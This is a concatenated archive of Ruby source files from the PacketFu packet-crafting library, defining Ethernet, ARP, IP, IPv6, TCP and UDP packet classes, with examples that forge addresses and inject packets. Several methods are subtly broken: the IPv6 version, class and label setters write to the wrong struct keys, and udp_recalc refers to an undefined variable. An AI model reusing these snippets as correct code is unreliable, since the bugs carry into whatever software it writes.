# String :body class IPv6Header < Struct.new(:ipv6_v, :ipv6_class, :ipv6_label, :ipv6_len, :ipv6_next, :ipv6_hop, :ipv6_src, :ipv6_dst, :body) include StructFu def initialize(args={}) super( (args[:ipv6_v] || 6), (args[:ipv6_class] || 0), (args[:ipv6_label] || 0), Int16.new(args[:ipv6_len]), Int8.new(args[:ipv6_next]), Int8.new(args[:ipv6_hop] || 0xff), AddrIpv6.new.read(args[:ipv6_src] || ("\x00" * 16)), AddrIpv6.new.read(args[:ipv6_dst] || ("\x00" * 16)), StructFu::String.new.read(args[:body]) ) end # Returns the object in string form. def to_s bytes_v_class_label = [(self.ipv6_v << 28) + (self.ipv6_class << 20) + self.ipv6_label].pack("N") bytes_v_class_label + (self.to_a[3,6].map {|x| x.to_s}.join) end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:ipv6_v] = str[0,1].unpack("C").first >> 4 self[:ipv6_class] = (str[0,2].unpack("n").first & 0x0ff0) >> 4 self[:ipv6_label] = str[0,4].unpack("N").first & 0x000fffff self[:ipv6_len].read(str[4,2]) self[:ipv6_next].read(str[6,1]) self[:ipv6_hop].read(str[7,1]) self[:ipv6_src].read(str[8,16]) self[:ipv6_dst].read(str[24,16]) self[:body].read(str[40,str.size]) if str.size > 40 self end # Setter for the version (usually, 6). def ipv6_v=(i); self[:ip_v] = i.to_i; end # Getter for the version (usually, 6). def ipv6_v; self[:ipv6_v].to_i; end # Setter for the traffic class. def ipv6_class=(i); self[:ip_class] = i.to_i; end # Getter for the traffic class. def ipv6_class; self[:ipv6_class].to_i; end # Setter for the flow label. def ipv6_label=(i); self[:ip_label] = i.to_i; end # Getter for the flow label. def ipv6_label; self[:ipv6_label].to_i; end # Setter for the payload length. def ipv6_len=(i); typecast i; end # Getter for the payload length. def ipv6_len; self[:ipv6_len].to_i; end # Setter for the next protocol header. def ipv6_next=(i); typecast i; end # Getter for the next protocol header. def ipv6_next; self[:ipv6_next].to_i; end # Setter for the hop limit. def ipv6_hop=(i); typecast i; end # Getter for the hop limit. def ipv6_hop; self[:ipv6_hop].to_i; end # Setter for the source address. def ipv6_src=(i); typecast i; end # Getter for the source address. def ipv6_src; self[:ipv6_src].to_i; end # Setter for the destination address. def ipv6_dst=(i); typecast i; end # Getter for the destination address. def ipv6_dst; self[:ipv6_dst].to_i; end # Calculates the payload length. def ipv6_calc_len self.ipv6_len = body.to_s.length end # Recalculates the calculatable fields for this object. def ipv6_recalc(arg=:all) case arg when :ipv6_len ipv6_calc_len when :all ipv6_recalc(:ipv6_len) end end # Get the source address in a more readable form. def ipv6_saddr self[:ipv6_src].to_x end # Set the source address in a more readable form. def ipv6_saddr=(str) self[:ipv6_src].read_x(str) end # Get the destination address in a more readable form. def ipv6_daddr self[:ipv6_dst].to_x end # Set the destination address in a more readable form. def ipv6_daddr=(str) self[:ipv6_dst].read_x(str) end # Readability aliases alias :ipv6_src_readable :ipv6_saddr alias :ipv6_dst_readable :ipv6_daddr end # class IPv6Header end packetfu-1.1.11/lib/packetfu/protos/ipv6/mixin.rb0000644000004100000410000000314012573107241021660 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the IPv6Headers. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'ipv6_header' method (assuming that it is a IPv6Header object) module IPv6HeaderMixin def ipv6_v=(v); self.ipv6_header.ipv6_v= v; end def ipv6_v; self.ipv6_header.ipv6_v; end def ipv6_class=(v); self.ipv6_header.ipv6_class= v; end def ipv6_class; self.ipv6_header.ipv6_class; end def ipv6_label=(v); self.ipv6_header.ipv6_label= v; end def ipv6_label; self.ipv6_header.ipv6_label; end def ipv6_len=(v); self.ipv6_header.ipv6_len= v; end def ipv6_len; self.ipv6_header.ipv6_len; end def ipv6_next=(v); self.ipv6_header.ipv6_next= v; end def ipv6_next; self.ipv6_header.ipv6_next; end def ipv6_hop=(v); self.ipv6_header.ipv6_hop= v; end def ipv6_hop; self.ipv6_header.ipv6_hop; end def ipv6_src=(v); self.ipv6_header.ipv6_src= v; end def ipv6_src; self.ipv6_header.ipv6_src; end def ipv6_dst=(v); self.ipv6_header.ipv6_dst= v; end def ipv6_dst; self.ipv6_header.ipv6_dst; end def ipv6_calc_len; self.ipv6_header.ipv6_calc_len; end def ipv6_recalc(*v); self.ipv6_header.ipv6_recalc(*v); end def ipv6_saddr; self.ipv6_header.ipv6_saddr; end def ipv6_saddr=(v); self.ipv6_header.ipv6_saddr= v; end def ipv6_daddr; self.ipv6_header.ipv6_daddr; end def ipv6_daddr=(v); self.ipv6_header.ipv6_daddr= v; end def ipv6_src_readable; self.ipv6_header.ipv6_src_readable; end def ipv6_dst_readable; self.ipv6_header.ipv6_dst_readable; end end end packetfu-1.1.11/lib/packetfu/protos/invalid.rb0000644000004100000410000000227212573107241021303 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # InvalidHeader catches all packets that we don't already have a Struct for, # or for whatever reason, violates some basic packet rules for other packet # types. class InvalidHeader < Struct.new(:body) include StructFu def initialize(args={}) args[:body] ||= StructFu::String.new super(args[:body]) end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:body].read str self end end # You probably don't want to write invalid packets on purpose. class InvalidPacket < Packet attr_accessor :invalid_header # Any packet is potentially an invalid packet def self.can_parse?(str) true end def self.layer 0 end def read(str=nil,args={}) @invalid_header.read(str) self end def initialize(args={}) @invalid_header = (args[:invalid] || InvalidHeader.new) @headers = [@invalid_header] end end end # module PacketFu # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/protos/ip.rb0000644000004100000410000000470012573107241020263 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/ip/header' require 'packetfu/protos/ip/mixin' module PacketFu # IPPacket is used to construct IP packets. They contain an EthHeader, an IPHeader, and usually # a transport-layer protocol such as UDPHeader, TCPHeader, or ICMPHeader. # # == Example # # require 'packetfu' # ip_pkt = PacketFu::IPPacket.new # ip_pkt.ip_saddr="10.20.30.40" # ip_pkt.ip_daddr="192.168.1.1" # ip_pkt.ip_proto=1 # ip_pkt.ip_ttl=64 # ip_pkt.ip_payload="\x00\x00\x12\x34\x00\x01\x00\x01"+ # "Lovingly hand-crafted echo responses delivered directly to your door." # ip_pkt.recalc # ip_pkt.to_f('/tmp/ip.pcap') # # == Parameters # # :eth # A pre-generated EthHeader object. # :ip # A pre-generated IPHeader object. # :flavor # TODO: Sets the "flavor" of the IP packet. This might include known sets of IP options, and # certainly known starting TTLs. # :config # A hash of return address details, often the output of Utils.whoami? class IPPacket < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::IPHeaderMixin attr_accessor :eth_header, :ip_header def self.can_parse?(str) return false unless str.size >= 34 return false unless EthPacket.can_parse? str if str[12,2] == "\x08\x00" if 1.respond_to? :ord ipv = str[14,1][0].ord >> 4 else ipv = str[14,1][0] >> 4 end return true if ipv == 4 else return false end end def read(str=nil, args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) self end # Creates a new IPPacket object. def initialize(args={}) @eth_header = EthHeader.new(args).read(args[:eth]) @ip_header = IPHeader.new(args).read(args[:ip]) @eth_header.body=@ip_header @headers = [@eth_header, @ip_header] super end # Peek provides summary data on packet contents. def peek_format peek_data = ["I "] peek_data << "%-5d" % to_s.size peek_data << "%-21s" % "#{ip_saddr}" peek_data << "->" peek_data << "%21s" % "#{ip_daddr}" peek_data << "%23s" % "I:" peek_data << "%04x" % ip_id.to_i peek_data.join end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/protos/arp.rb0000644000004100000410000000735712573107241020450 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/arp/header' require 'packetfu/protos/arp/mixin' module PacketFu # ARPPacket is used to construct ARP packets. They contain an EthHeader and an ARPHeader. # == Example # # require 'packetfu' # arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows") # arp_pkt.arp_saddr_mac="00:1c:23:44:55:66" # Your hardware address # arp_pkt.arp_saddr_ip="10.10.10.17" # Your IP address # arp_pkt.arp_daddr_ip="10.10.10.1" # Target IP address # arp_pkt.arp_opcode=1 # Request # # arp_pkt.to_w('eth0') # Inject on the wire. (requires root) # arp_pkt.to_f('/tmp/arp.pcap') # Write to a file. # # == Parameters # # :flavor # Sets the "flavor" of the ARP packet. Choices are currently: # :windows, :linux, :hp_deskjet # :eth # A pre-generated EthHeader object. If not specified, a new one will be created. # :arp # A pre-generated ARPHeader object. If not specificed, a new one will be created. # :config # A hash of return address details, often the output of Utils.whoami? class ARPPacket < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::ARPHeaderMixin attr_accessor :eth_header, :arp_header def self.can_parse?(str) return false unless EthPacket.can_parse? str return false unless str.size >= 28 return false unless str[12,2] == "\x08\x06" true end def read(str=nil,args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) self end def initialize(args={}) @eth_header = EthHeader.new(args).read(args[:eth]) @arp_header = ARPHeader.new(args).read(args[:arp]) @eth_header.eth_proto = "\x08\x06" @eth_header.body=@arp_header # Please send more flavors to todb+packetfu@planb-security.net. # Most of these initial fingerprints come from one (1) sample. case (args[:flavor].nil?) ? :nil : args[:flavor].to_s.downcase.intern when :windows; @arp_header.body = "\x00" * 64 # 64 bytes of padding when :linux; @arp_header.body = "\x00" * 4 + # 32 bytes of padding "\x00\x07\x5c\x14" + "\x00" * 4 + "\x00\x0f\x83\x34" + "\x00\x0f\x83\x74" + "\x01\x11\x83\x78" + "\x00\x00\x00\x0c" + "\x00\x00\x00\x00" when :hp_deskjet; # Pads up to 60 bytes. @arp_header.body = "\xe0\x90\x0d\x6c" + "\xff\xff\xee\xee" + "\x00" * 4 + "\xe0\x8f\xfa\x18\x00\x20" else; @arp_header.body = "\x00" * 18 # Pads up to 60 bytes. end @headers = [@eth_header, @arp_header] super end # Generates summary data for ARP packets. def peek_format peek_data = ["A "] peek_data << "%-5d" % self.to_s.size peek_data << arp_saddr_mac peek_data << "(#{arp_saddr_ip})" peek_data << "->" peek_data << case arp_daddr_mac when "00:00:00:00:00:00"; "Bcast00" when "ff:ff:ff:ff:ff:ff"; "BcastFF" else; arp_daddr_mac end peek_data << "(#{arp_daddr_ip})" peek_data << ":" peek_data << case arp_opcode when 1; "Requ" when 2; "Repl" when 3; "RReq" when 4; "RRpl" when 5; "IReq" when 6; "IRpl" else; "0x%02x" % arp_opcode end peek_data.join end # While there are lengths in ARPPackets, there's not # much to do with them. def recalc(args={}) @headers[0].inspect end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/protos/tcp.rb0000644000004100000410000001543112573107241020444 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/tcp/header' require 'packetfu/protos/tcp/mixin' require 'packetfu/protos/ip/header' require 'packetfu/protos/ip/mixin' module PacketFu # TCPPacket is used to construct TCP packets. They contain an EthHeader, an IPHeader, and a TCPHeader. # # == Example # # tcp_pkt = PacketFu::TCPPacket.new # tcp_pkt.tcp_flags.syn=1 # tcp_pkt.tcp_dst=80 # tcp_pkt.tcp_win=5840 # tcp_pkt.tcp_options="mss:1460,sack.ok,ts:#{rand(0xffffffff)};0,nop,ws:7" # # tcp_pkt.ip_saddr=[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].join('.') # tcp_pkt.ip_daddr=[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].join('.') # # tcp_pkt.recalc # tcp_pkt.to_f('/tmp/tcp.pcap') # # == Parameters # :eth # A pre-generated EthHeader object. # :ip # A pre-generated IPHeader object. # :flavor # TODO: Sets the "flavor" of the TCP packet. This will include TCP options and the initial window # size, per stack. There is a lot of variety here, and it's one of the most useful methods to # remotely fingerprint devices. :flavor will span both ip and tcp for consistency. # :type # TODO: Set up particular types of packets (syn, psh_ack, rst, etc). This can change the initial flavor. # :config # A hash of return address details, often the output of Utils.whoami? class TCPPacket < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::IPHeaderMixin include ::PacketFu::TCPHeaderMixin attr_accessor :eth_header, :ip_header, :tcp_header def self.can_parse?(str) return false unless str.size >= 54 return false unless EthPacket.can_parse? str return false unless IPPacket.can_parse? str return false unless str[23,1] == "\x06" return true end def read(str=nil, args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) # Strip off any extra data, if we are asked to do so. if args[:strip] tcp_body_len = self.ip_len - self.ip_hlen - (self.tcp_hlen * 4) @tcp_header.body.read(@tcp_header.body.to_s[0,tcp_body_len]) end super(args) self end def initialize(args={}) @eth_header = (args[:eth] || EthHeader.new) @ip_header = (args[:ip] || IPHeader.new) @tcp_header = (args[:tcp] || TCPHeader.new) @tcp_header.flavor = args[:flavor].to_s.downcase @ip_header.body = @tcp_header @eth_header.body = @ip_header @headers = [@eth_header, @ip_header, @tcp_header] @ip_header.ip_proto=0x06 super if args[:flavor] tcp_calc_flavor(@tcp_header.flavor) else tcp_calc_sum end end # Sets the correct flavor for TCP Packets. Recognized flavors are: # windows, linux, freebsd def tcp_calc_flavor(str) ts_val = Time.now.to_i + rand(0x4fffffff) ts_sec = rand(0xffffff) case @tcp_header.flavor = str.to_s.downcase when "windows" # WinXP's default syn @tcp_header.tcp_win = 0x4000 @tcp_header.tcp_options="MSS:1460,NOP,NOP,SACKOK" @tcp_header.tcp_src = rand(5000 - 1026) + 1026 @ip_header.ip_ttl = 64 when "linux" # Ubuntu Linux 2.6.24-19-generic default syn @tcp_header.tcp_win = 5840 @tcp_header.tcp_options="MSS:1460,SACKOK,TS:#{ts_val};0,NOP,WS:7" @tcp_header.tcp_src = rand(61_000 - 32_000) + 32_000 @ip_header.ip_ttl = 64 when "freebsd" # Freebsd @tcp_header.tcp_win = 0xffff @tcp_header.tcp_options="MSS:1460,NOP,WS:3,NOP,NOP,TS:#{ts_val};#{ts_sec},SACKOK,EOL,EOL" @ip_header.ip_ttl = 64 else @tcp_header.tcp_options="MSS:1460,NOP,NOP,SACKOK" end tcp_calc_sum end # tcp_calc_sum() computes the TCP checksum, and is called upon intialization. It usually # should be called just prior to dropping packets to a file or on the wire. #-- # This is /not/ delegated down to @tcp_header since we need info # from the IP header, too. #++ def tcp_calc_sum checksum = (ip_src.to_i >> 16) checksum += (ip_src.to_i & 0xffff) checksum += (ip_dst.to_i >> 16) checksum += (ip_dst.to_i & 0xffff) checksum += 0x06 # TCP Protocol. checksum += (ip_len.to_i - ((ip_hl.to_i) * 4)) checksum += tcp_src checksum += tcp_dst checksum += (tcp_seq.to_i >> 16) checksum += (tcp_seq.to_i & 0xffff) checksum += (tcp_ack.to_i >> 16) checksum += (tcp_ack.to_i & 0xffff) checksum += ((tcp_hlen << 12) + (tcp_reserved << 9) + (tcp_ecn.to_i << 6) + tcp_flags.to_i ) checksum += tcp_win checksum += tcp_urg chk_tcp_opts = (tcp_opts.to_s.size % 2 == 0 ? tcp_opts.to_s : tcp_opts.to_s + "\x00") chk_tcp_opts.unpack("n*").each {|x| checksum = checksum + x } if (ip_len - ((ip_hl + tcp_hlen) * 4)) >= 0 real_tcp_payload = payload[0,( ip_len - ((ip_hl + tcp_hlen) * 4) )] # Can't forget those pesky FCSes! else real_tcp_payload = payload # Something's amiss here so don't bother figuring out where the real payload is. end chk_payload = (real_tcp_payload.size % 2 == 0 ? real_tcp_payload : real_tcp_payload + "\x00") # Null pad if it's odd. chk_payload.unpack("n*").each {|x| checksum = checksum+x } checksum = checksum % 0xffff checksum = 0xffff - checksum checksum == 0 ? 0xffff : checksum @tcp_header.tcp_sum = checksum end # Recalculates various fields of the TCP packet. # # ==== Parameters # # :all # Recomputes all calculated fields. # :tcp_sum # Recomputes the TCP checksum. # :tcp_hlen # Recomputes the TCP header length. Useful after options are added. def tcp_recalc(arg=:all) case arg when :tcp_sum tcp_calc_sum when :tcp_hlen @tcp_header.tcp_recalc :tcp_hlen when :all @tcp_header.tcp_recalc :all tcp_calc_sum else raise ArgumentError, "No such field `#{arg}'" end end # TCP packets are denoted by a "T ", followed by size, # source and dest information, packet flags, sequence # number, and IPID. def peek_format peek_data = ["T "] peek_data << "%-5d" % self.to_s.size peek_data << "%-21s" % "#{self.ip_saddr}:#{self.tcp_src}" peek_data << "->" peek_data << "%21s" % "#{self.ip_daddr}:#{self.tcp_dst}" flags = ' [' flags << self.tcp_flags_dotmap flags << '] ' peek_data << flags peek_data << "S:" peek_data << "%08x" % self.tcp_seq peek_data << "|I:" peek_data << "%04x" % self.ip_id peek_data.join end end end packetfu-1.1.11/lib/packetfu/protos/udp.rb0000644000004100000410000001257312573107241020452 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/ip/header' require 'packetfu/protos/ip/mixin' require 'packetfu/protos/ipv6/header' require 'packetfu/protos/ipv6/mixin' require 'packetfu/protos/udp/header' require 'packetfu/protos/udp/mixin' module PacketFu # UDPPacket is used to construct UDP Packets. They contain an EthHeader, an IPHeader, and a UDPHeader. # # == Example # # udp_pkt = PacketFu::UDPPacket.new # udp_pkt.udp_src=rand(0xffff-1024) + 1024 # udp_pkt.udp_dst=53 # udp_pkt.ip_saddr="1.2.3.4" # udp_pkt.ip_daddr="10.20.30.40" # udp_pkt.recalc # udp_pkt.to_f('/tmp/udp.pcap') # # udp6_pkt = PacketFu::UDPPacket.new(:on_ipv6 => true) # udp6_pkt.udp_src=rand(0xffff-1024) + 1024 # udp6_pkt.udp_dst=53 # udp6_pkt.ip6_saddr="4::1" # udp6_pkt.ip6_daddr="12:3::4567" # udp6_pkt.recalc # udp6_pkt.to_f('/tmp/udp.pcap') # # == Parameters # # :eth # A pre-generated EthHeader object. # :ip # A pre-generated IPHeader object. # :flavor # TODO: Sets the "flavor" of the UDP packet. UDP packets don't tend have a lot of # flavor, but their underlying ip headers do. # :config # A hash of return address details, often the output of Utils.whoami? class UDPPacket < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::IPHeaderMixin include ::PacketFu::IPv6HeaderMixin include ::PacketFu::UDPHeaderMixin attr_accessor :eth_header, :ip_header, :ipv6_header, :udp_header def self.can_parse?(str) return false unless str.size >= 28 return false unless EthPacket.can_parse? str return false unless IPPacket.can_parse? str return false unless str[23,1] == "\x11" return true end def read(str=nil, args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) if args[:strip] udp_body_len = self.ip_len - self.ip_hlen - 8 @udp_header.body.read(@udp_header.body.to_s[0,udp_body_len]) end super(args) self end def initialize(args={}) if args[:on_ipv6] or args[:ipv6] @eth_header = EthHeader.new(args.merge(:eth_proto => 0x86dd)).read(args[:eth]) @ipv6_header = IPv6Header.new(args).read(args[:ipv6]) @ipv6_header.ipv6_next=0x11 else @eth_header = EthHeader.new(args).read(args[:eth]) @ip_header = IPHeader.new(args).read(args[:ip]) @ip_header.ip_proto=0x11 end @udp_header = UDPHeader.new(args).read(args[:udp]) if args[:on_ipv6] or args[:ipv6] @ipv6_header.body = @udp_header @eth_header.body = @ipv6_header @headers = [@eth_header, @ipv6_header, @udp_header] else @ip_header.body = @udp_header @eth_header.body = @ip_header @headers = [@eth_header, @ip_header, @udp_header] end super udp_calc_sum end # udp_calc_sum() computes the UDP checksum, and is called upon intialization. # It usually should be called just prior to dropping packets to a file or on the wire. def udp_calc_sum # This is /not/ delegated down to @udp_header since we need info # from the IP header, too. checksum = 0 if @ipv6_header [ipv6_src, ipv6_dst].each do |iaddr| 8.times do |i| checksum += (iaddr >> (i * 16)) & 0xffff end end else checksum += (ip_src.to_i >> 16) checksum += (ip_src.to_i & 0xffff) checksum += (ip_dst.to_i >> 16) checksum += (ip_dst.to_i & 0xffff) end checksum += 0x11 checksum += udp_len.to_i checksum += udp_src.to_i checksum += udp_dst.to_i checksum += udp_len.to_i if udp_len.to_i >= 8 # For IP trailers. This isn't very reliable. :/ real_udp_payload = payload.to_s[0,(udp_len.to_i-8)] else # I'm not going to mess with this right now. real_udp_payload = payload end chk_payload = (real_udp_payload.size % 2 == 0 ? real_udp_payload : real_udp_payload + "\x00") chk_payload.unpack("n*").each {|x| checksum = checksum+x} checksum = checksum % 0xffff checksum = 0xffff - checksum checksum == 0 ? 0xffff : checksum @udp_header.udp_sum = checksum end # udp_recalc() recalculates various fields of the UDP packet. Valid arguments are: # # :all # Recomputes all calculated fields. # :udp_sum # Recomputes the UDP checksum. # :udp_len # Recomputes the UDP length. def udp_recalc(args=:all) case args when :udp_len @udp_header.udp_recalc when :udp_sum udp_calc_sum when :all @udp_header.udp_recalc udp_calc_sum else raise ArgumentError, "No such field `#{arg}'" end end # Peek provides summary data on packet contents. def peek_format peek_data = ["U "] peek_data << "%-5d" % self.to_s.size peek_data << "%-21s" % "#{self.ip_saddr}:#{self.udp_sport}" peek_data << "->" peek_data << "%21s" % "#{self.ip_daddr}:#{self.udp_dport}" peek_data << "%23s" % "I:" peek_data << "%04x" % self.ip_id peek_data.join end # Is that packet an UDP on IPv6 packet ? def ipv6? @ipv6_header end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/protos/eth/0000755000004100000410000000000012573107241020105 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/eth/header.rb0000644000004100000410000001611512573107241021666 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # EthOui is the Organizationally Unique Identifier portion of a MAC address, used in EthHeader. # # See the OUI list at http://standards.ieee.org/regauth/oui/oui.txt # # ==== Header Definition # # Fixnum :b0 # Fixnum :b1 # Fixnum :b2 # Fixnum :b3 # Fixnum :b4 # Fixnum :b5 # Fixnum :local # Fixnum :multicast # Int16 :oui, Default: 0x1ac5 :) class EthOui < Struct.new(:b5, :b4, :b3, :b2, :b1, :b0, :local, :multicast, :oui) # EthOui is unusual in that the bit values do not enjoy StructFu typing. def initialize(args={}) args[:local] ||= 0 args[:oui] ||= 0x1ac # :) args.each_pair {|k,v| args[k] = 0 unless v} super(args[:b5], args[:b4], args[:b3], args[:b2], args[:b1], args[:b0], args[:local], args[:multicast], args[:oui]) end # Returns the object in string form. def to_s byte = 0 byte += 0b10000000 if b5.to_i == 1 byte += 0b01000000 if b4.to_i == 1 byte += 0b00100000 if b3.to_i == 1 byte += 0b00010000 if b2.to_i == 1 byte += 0b00001000 if b1.to_i == 1 byte += 0b00000100 if b0.to_i == 1 byte += 0b00000010 if local.to_i == 1 byte += 0b00000001 if multicast.to_i == 1 [byte,oui].pack("Cn") end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? if 1.respond_to? :ord byte = str[0].ord else byte = str[0] end self[:b5] = byte & 0b10000000 == 0b10000000 ? 1 : 0 self[:b4] = byte & 0b01000000 == 0b01000000 ? 1 : 0 self[:b3] = byte & 0b00100000 == 0b00100000 ? 1 : 0 self[:b2] = byte & 0b00010000 == 0b00010000 ? 1 : 0 self[:b1] = byte & 0b00001000 == 0b00001000 ? 1 : 0 self[:b0] = byte & 0b00000100 == 0b00000100 ? 1 : 0 self[:local] = byte & 0b00000010 == 0b00000010 ? 1 : 0 self[:multicast] = byte & 0b00000001 == 0b00000001 ? 1 : 0 self[:oui] = str[1,2].unpack("n").first self end end # EthNic is the Network Interface Controler portion of a MAC address, used in EthHeader. # # ==== Header Definition # # Fixnum :n1 # Fixnum :n2 # Fixnum :n3 # class EthNic < Struct.new(:n0, :n1, :n2) # EthNic does not enjoy StructFu typing. def initialize(args={}) args.each_pair {|k,v| args[k] = 0 unless v} super(args[:n0], args[:n1], args[:n2]) end # Returns the object in string form. def to_s [n0,n1,n2].map {|x| x.to_i}.pack("C3") end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:n0], self[:n1], self[:n2] = str[0,3].unpack("C3") self end end # EthMac is the combination of an EthOui and EthNic, used in EthHeader. # # ==== Header Definition # # EthOui :oui # See EthOui # EthNic :nic # See EthNic class EthMac < Struct.new(:oui, :nic) def initialize(args={}) super( EthOui.new.read(args[:oui]), EthNic.new.read(args[:nic])) end # Returns the object in string form. def to_s "#{self[:oui]}#{self[:nic]}" end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self.oui.read str[0,3] self.nic.read str[3,3] self end end # EthHeader is a complete Ethernet struct, used in EthPacket. # It's the base header for all other protocols, such as IPHeader, # TCPHeader, etc. # # For more on the construction on MAC addresses, see # http://en.wikipedia.org/wiki/MAC_address # # TODO: Need to come up with a good way of dealing with vlan # tagging. Having a usually empty struct member seems weird, # but there may not be another way to do it if I want to preserve # the Eth-ness of vlan-tagged 802.1Q packets. Also, may as well # deal with 0x88a8 as well (http://en.wikipedia.org/wiki/802.1ad) # # ==== Header Definition # # EthMac :eth_dst # See EthMac # EthMac :eth_src # See EthMac # Int16 :eth_proto, Default: 0x8000 # IP 0x0800, Arp 0x0806 # String :body class EthHeader < Struct.new(:eth_dst, :eth_src, :eth_proto, :body) include StructFu def initialize(args={}) super( EthMac.new.read(args[:eth_dst]), EthMac.new.read(args[:eth_src]), Int16.new(args[:eth_proto] || 0x0800), StructFu::String.new.read(args[:body]) ) end # Setter for the Ethernet destination address. def eth_dst=(i); typecast(i); end # Getter for the Ethernet destination address. def eth_dst; self[:eth_dst].to_s; end # Setter for the Ethernet source address. def eth_src=(i); typecast(i); end # Getter for the Ethernet source address. def eth_src; self[:eth_src].to_s; end # Setter for the Ethernet protocol number. def eth_proto=(i); typecast(i); end # Getter for the Ethernet protocol number. def eth_proto; self[:eth_proto].to_i; end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:eth_dst].read str[0,6] self[:eth_src].read str[6,6] self[:eth_proto].read str[12,2] self[:body].read str[14,str.size] self end # Converts a readable MAC (11:22:33:44:55:66) to a binary string. # Readable MAC's may be split on colons, dots, spaces, or underscores. # # irb> PacketFu::EthHeader.mac2str("11:22:33:44:55:66") # # #=> "\021\"3DUf" def self.mac2str(mac) if mac.split(/[:\x2d\x2e\x5f]+/).size == 6 ret = mac.split(/[:\x2d\x2e\x20\x5f]+/).collect {|x| x.to_i(16)}.pack("C6") else raise ArgumentError, "Unkown format for mac address." end return ret end # Converts a binary string to a readable MAC (11:22:33:44:55:66). # # irb> PacketFu::EthHeader.str2mac("\x11\x22\x33\x44\x55\x66") # # #=> "11:22:33:44:55:66" def self.str2mac(mac='') if mac.to_s.size == 6 && mac.kind_of?(::String) ret = mac.unpack("C6").map {|x| sprintf("%02x",x)}.join(":") end end # Sets the source MAC address in a more readable way. def eth_saddr=(mac) mac = EthHeader.mac2str(mac) self[:eth_src].read mac self[:eth_src] end # Gets the source MAC address in a more readable way. def eth_saddr EthHeader.str2mac(self[:eth_src].to_s) end # Set the destination MAC address in a more readable way. def eth_daddr=(mac) mac = EthHeader.mac2str(mac) self[:eth_dst].read mac self[:eth_dst] end # Gets the destination MAC address in a more readable way. def eth_daddr EthHeader.str2mac(self[:eth_dst].to_s) end # Readability aliases alias :eth_dst_readable :eth_daddr alias :eth_src_readable :eth_saddr def eth_proto_readable "0x%04x" % eth_proto end end end packetfu-1.1.11/lib/packetfu/protos/eth/mixin.rb0000644000004100000410000000177112573107241021564 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the EthHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'eth_header' method (assuming that it is a EthHeader object) module EthHeaderMixin def eth_daddr; self.eth_header.eth_daddr ; end def eth_daddr=(v); self.eth_header.eth_daddr= v; end def eth_dst; self.eth_header.eth_dst ; end def eth_dst=(v); self.eth_header.eth_dst= v; end def eth_dst_readable; self.eth_header.eth_dst_readable ; end def eth_proto; self.eth_header.eth_proto ; end def eth_proto=(v); self.eth_header.eth_proto= v; end def eth_proto_readable; self.eth_header.eth_proto_readable ; end def eth_saddr; self.eth_header.eth_saddr ; end def eth_saddr=(v); self.eth_header.eth_saddr= v; end def eth_src; self.eth_header.eth_src ; end def eth_src=(v); self.eth_header.eth_src= v; end def eth_src_readable; self.eth_header.eth_src_readable ; end end end packetfu-1.1.11/lib/packetfu/protos/udp/0000755000004100000410000000000012573107241020115 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/udp/header.rb0000644000004100000410000000536012573107241021676 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # UDPHeader is a complete UDP struct, used in UDPPacket. Many Internet-critical protocols # rely on UDP, such as DNS and World of Warcraft. # # For more on UDP packets, see http://www.networksorcery.com/enp/protocol/udp.htm # # ==== Header Definition # Int16 :udp_src # Int16 :udp_dst # Int16 :udp_len Default: calculated # Int16 :udp_sum Default: 0. Often calculated. # String :body class UDPHeader < Struct.new(:udp_src, :udp_dst, :udp_len, :udp_sum, :body) include StructFu def initialize(args={}) super( Int16.new(args[:udp_src]), Int16.new(args[:udp_dst]), Int16.new(args[:udp_len] || udp_calc_len), Int16.new(args[:udp_sum]), StructFu::String.new.read(args[:body]) ) end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:udp_src].read(str[0,2]) self[:udp_dst].read(str[2,2]) self[:udp_len].read(str[4,2]) self[:udp_sum].read(str[6,2]) self[:body].read(str[8,str.size]) self end # Setter for the UDP source port. def udp_src=(i); typecast i; end # 